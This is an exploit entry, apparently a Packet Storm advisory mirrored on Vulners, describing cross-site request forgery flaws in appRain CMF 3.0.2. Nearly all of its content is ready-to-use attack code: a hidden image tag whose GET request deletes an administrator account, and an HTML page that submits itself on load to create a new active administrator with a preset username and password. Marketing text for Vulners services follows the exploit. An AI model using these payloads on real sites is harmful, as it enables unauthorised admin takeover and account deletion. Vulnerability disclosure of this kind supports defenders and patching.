Lucene search
K

Apprain 3.0.2 Cross Site Request Forgery

🗓️ 29 Aug 2013 00:00:00Reported by Yashar shahinzadehType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Apprain 3.0.2 Cross Site Request Forgery, CSRF Delete and Add Admin Accoun

Code
`###################################################################################################################################  
# Exploit Title: Apprain CMF / CSRF ADD/DELETE administrator's account  
# Date: 2013 29 August  
# Exploit Author: Yashar shahinzadeh  
# Special thanks to Mormoroth  
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir  
# Vendor Homepage: http://www.apprain.com/  
# Tested on: Linux & Windows, PHP 5.2.9  
# Affected Version : 3.0.2  
#  
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir }  
###################################################################################################################################  
  
Summary:  
========  
1. CSRF - Delete a account  
2. CSRF - Adding administrator's account  
  
1. CSRF - Delete a account:  
===========================  
Deleting account section isn't protected against CSRF attacks, it's a simple get, the following exploit is useful to conduct an attack, albeit [ID] must be replaced by administrator's ID (e.g. 2)  
  
<img src="http://localhost//appRain-v-3.0.2/common/delete_row/Admin/[ID]" width="1" height="1">  
  
  
2. CSRF - Adding administrator's account:  
=========================================  
<html>  
<body onload="submitForm()">  
<form name="myForm" id="myForm"  
action="http://localhost/appRain-v-3.0.2/admin/manage/add" method="post">  
<input type="hidden" name="data[Admin][f_name]" value="yashar">  
<input type="hidden" name="data[Admin][l_name]" value="shahinzadeh">  
<input type="hidden" name="data[Admin][email]" value="[email protected]">  
<input type="hidden" name="data[Admin][username]" value="yashar">  
<input type="hidden" name="data[Admin][password]" value="Yashar123">  
<input type="hidden" name="data[Admin][status]" value="Active">  
<input type="hidden" name="data[Admin][description]" value="">  
</form>  
<script type='text/javascript'>document.myForm.submit();</script>  
</html>  
  
  
/** Yasshar shahinzadeh **/  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation